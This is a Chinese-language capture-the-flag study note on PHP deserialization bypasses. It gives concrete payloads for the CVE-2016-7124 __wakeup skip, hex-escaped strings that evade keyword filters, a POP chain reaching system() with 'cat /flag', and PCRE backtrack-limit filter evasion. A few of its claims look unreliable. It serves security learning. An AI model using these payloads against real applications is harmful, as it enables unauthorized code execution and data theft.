反序列化绕过
protected和private绕过
如果变量前是protected,则是\x00*\x00类名的形式 如果变量前是private,则是\x00类名\x00的形式
绕过:
php7.1+反序列化对类属性不敏感,将protected改成public
手动将序列化后的形式改为protected或者private的标准形式,结合urlencode和base64编码进行操作
常见的"权限校验"题目:你需要把 isAdmin 改为 true,但它是私有的,且 __wakeup 会重置它
常见的"权限校验"题目:你需要把 isAdmin 改为 true,但它是私有的,且 __wakeup 会重置它
class Challenge {
private $isAdmin = false;
public $name = "guest";
public function __construct($name) {
$this->name = $name;
}
public function __wakeup() {
// 恶意!即使你序列化传了 true,这里也会把你改回 false
$this->isAdmin = false;
}
public function __destruct() {
if ($this->isAdmin === true) {
echo "恭喜!Flag: CTF{Plow_Through_Magic_Methods}";
}
}
}
// 题目通常通过 GET 接收数据
// unserialize($_GET['payload']);
十六进制表示法
当你手动构造 Payload 时,如果直接在 URL 里打出不可见字符非常困难。这时候利用 PHP 的 S(大写)解析模式。
普通序列化:s:13:"\0User\0pass"; (这里的小写 s 不解析十六进制)
绕过 Payload:S:13:"\00User\00pass"; (改为大写 S,PHP 会把 \00 当作一个空字节字符)
PHP 7.1+ 权限不敏感特性
如果你发现题目环境的 PHP 版本较高(7.1 以上),你完全可以无视权限。
代码里定义:private $flag;
你的 Payload:s:4:"flag";s:3:"yes";
结果:即使你按照 public 的格式去传,PHP 7.1+ 依然能成功把值塞进那个 private 变量里。
__wakeup绕过(CVE-2016-7124)
PHP 在反序列化时,会先解析字符串中的对象属性个数。
如果序列化字符串中表示属性个数的数字比实际属性个数大,PHP 就会认为这个对象发生了异常,从而跳过 __wakeup() 的执行,但对象依然会被成功创建,并接着执行 __destruct()
该漏洞存在于以下 PHP 版本:
PHP 5: < 5.6.25
PHP 7: < 7.0.10
CVE-2016-7124 它的核心作用是:强制让 __wakeup() 魔术方法失效
PHP 在反序列化时,会先解析字符串中的对象属性个数。
如果序列化字符串中表示属性个数的数字比实际属性个数大,PHP 就会认为这个对象发生了异常,从而跳过 __wakeup() 的执行,但对象依然会被成功创建,并接着执行 __destruct()
class Demo {
public $target = "guest";
public function __wakeup() {
// 这里的逻辑会阻碍我们拿到 flag
$this->target = "guest";
}
public function __destruct() {
if ($this->target === "admin") {
echo "Flag: CTF{Wakeup_Is_Broken}";
}
}
}
我们整一个payload
O:4:"Demo":1:{s:6:"target";s:5:"admin";}
O:4:"Demo": 对象类名长度 4,名称 Demo。
1: 代表这个对象有 1 个属性。
构造绕过 Payload
我们将属性个数 1 修改为任何比它大的数字,比如 2:
O:4:"Demo":2:{s:6:"target";s:5:"admin";}
修改前:
unserialize() -> 执行 __wakeup()(target 变回 guest) ->
脚本结束 -> 执行 __destruct()(失败)
修改后:
unserialize() -> 发现属性数量不匹配,跳过 __wakeup() ->
脚本结束 -> 执行 __destruct()(此时 target 仍是 admin,成功拿到 Flag)
检查版本:如果题目环境 PHP 版本太高(比如 PHP 8),这个漏洞就无效了。此时需要寻找其他的逻辑漏洞。
属性个数:只要比原个数大就行,通常习惯加 1(比如 1 改为 2,2 改为 3)。
后续影响:因为跳过了 __wakeup,如果该方法里有必要的初始化逻辑(比如数据库连接)
可能会导致后面的代码报错,但在 CTF 这种通常只看 __destruct 的场景下影响不大
利用16进制绕过字符过滤
核心原理:s vs S
在 PHP 序列化的表示中:
小写 s:代表普通的字符串(string)。
大写 S:代表"十六进制解析字符串"。当 PHP 遇到大写 S 时,它会检查字符串内容,如果发现反斜杠开头的内容(如 \00 或 \41),它会将其当做十六进制进行转换
绕过 %00(空字节)过滤
很多题目会检测请求中是否包含 %00 或 \0 来拦截 private / protected 属性。
常规 Payload:s:13:"%00User%00pass"(会被正则拦截)
十六进制绕过:S:13:"\00User\00pass"(将 s 替换为 S,并用 \00 代替空字节)
注意:哪怕你直接在 URL 里发送 \00,只要前面是 S,PHP 反序列化引擎就会把它识别为一个字节。
绕过特定关键词(如 flag)
如果题目过滤了关键字 flag,你可以将 flag 里的字母全部或部分转为十六进制。
过滤逻辑:if(preg_match('/flag/i', $data)) die('no flag');
绕过方式:
f 的十六进制是 \66
l 的十六进制是 \6c
a 的十六进制是 \61
g 的十六进制是 \67
构造 Payload:
将 s:4:"flag" 替换为 S:4:"\66\6c\61\67"
同名方法的利用
"同名方法"(也叫 POP Chain 节点跳转)是构造漏洞链的核心技巧。
它的核心逻辑是:利用不同类中定义的"名字相同、功能不同"的方法,实现代码执行流的跳转
核心原理:寻找"跳板"
假设你的 Payload 中有一个对象 A。当 A 的某个魔术方法(如 __destruct)被触发时,它内部调用了 $this->source->show()。
如果我们将 $this->source 替换成另一个类 B 的对象,而类 B 恰好也写了一个 show() 方法,那么执行流就会从类 A 跳到类 B
假设
class Starter {
public $source;
public function __destruct() {
// 它本意是想调用某个日志类的 upload 方法
$this->source->upload();
}
}
class Logger {
public function upload() {
echo "日志已上传。";
}
}
class Evil {
public $cmd;
public function upload() {
// 这里的 upload 竟然有命令执行逻辑!
system($this->cmd);
}
}
$e = new Evil();
$e->cmd = "cat /flag";
$s = new Starter();
$s->source = $e; // 关键:对象替换,实现方法跳转
echo serialize($s);
绕过部分正则
绕过数字/大写字母过滤(利用 + 号)
过滤规则:preg_match('/O:\d+:/', $data)
有些正则会限制类名前的长度或对象个数不能包含某些数字,或者禁止某些字符。
技巧:PHP 的反序列化引擎在解析数字时,可以接受 + 号。
示例:
正常:O:4:"Demo":1:{...}
绕过:O:+4:"Demo":+1:{...}
用途:如果正则规则是 /[0-9]/(虽然少见)或者针对特定长度的过滤,+ 号有时能改变匹配结果。
有绕过关键词过滤(利用"指向性转换")
过滤规则:if(preg_match('/flag|User/i', $data)) die("Hacker!");
如果正则过滤了具体的类名(如 Challenge),但你必须使用这个类:
姿势 A:利用命名空间
PHP 对类名的解析比较宽松。如果题目没写 namespace,你可以尝试在类名前加反斜杠
过滤:Challenge
绕过:\Challenge 或 \.\Challenge
Payload:O:10:"\Challenge":1:{...}
姿势 B:利用十六进制
如前所述,将 s 改为 S,然后把关键词中的字母转义。
过滤:flag
绕过:S:4:"\66\6c\61\67"
绕过魔术方法过滤(PCRE 回溯溢出)
如果后端使用 preg_match 匹配 __wakeup 或 __destruct 等字样,且正则写得比较宽泛,可以利用 PHP 正则引擎的回溯限制(默认 100 万次)
原理:发送一个极其巨大的字符串(填充大量无用字符),导致 preg_match 耗尽资源返回 false(报错退出),从而绕过 if(preg_match(...)) 的判断
// 构造一个包含极长无用数据的数组,让正则在匹配到一半时因回溯过多而失效
$long_str = str_repeat('a', 1000000);
$payload = 'a:2:{i:0;s:1000000:"'.$long_str.'";i:1;O:4:"Demo":1:{s:4:"test";s:5:"pwned";}}';
// 此时:if(!preg_match('/__destruct/', $payload)) { unserialize($payload); }
// 正则返回 false(因为溢出),逻辑反转成功
绕过 O: (Object) 过滤
过滤规则:if(preg_match('/^O:/', $data))
如果正则直接禁止了 O: 开头(禁止反序列化对象),可以利用数组或指针来绕过
姿势 A:利用数组包裹
如果题目直接对输入字符串匹配 /^O:/,你可以把对象放在数组里
Payload:a:1:{i:0;O:4:"Demo":1:{...}}
此时字符串开头是 a:,完美绕过针对 O: 的开头匹配。
姿势 B:利用 C: (Custom Serialization)
如果类实现了 Serializable 接口,它序列化后会以 C: 开头。虽然这需要类本身支持,但在某些题目中可以寻找实现了该接口的"跳板类"
绕过长度限制(引用/指针)
如果正则限制了 Payload 的总长度,导致你无法构造复杂的 POP Chain
技巧:利用 R:(指针引用)
// 假设我们要让对象的两个属性都指向同一个已有的对象
// 正常:a:2:{i:0;O:4:"Long":0:{}i:1;O:4:"Long":0:{}}
// 绕过:使用 R:2 指向序列化流中的第 2 个元素(即前面的对象)
a:2:{i:0;O:4:"Long":0:{}i:1;R:2;}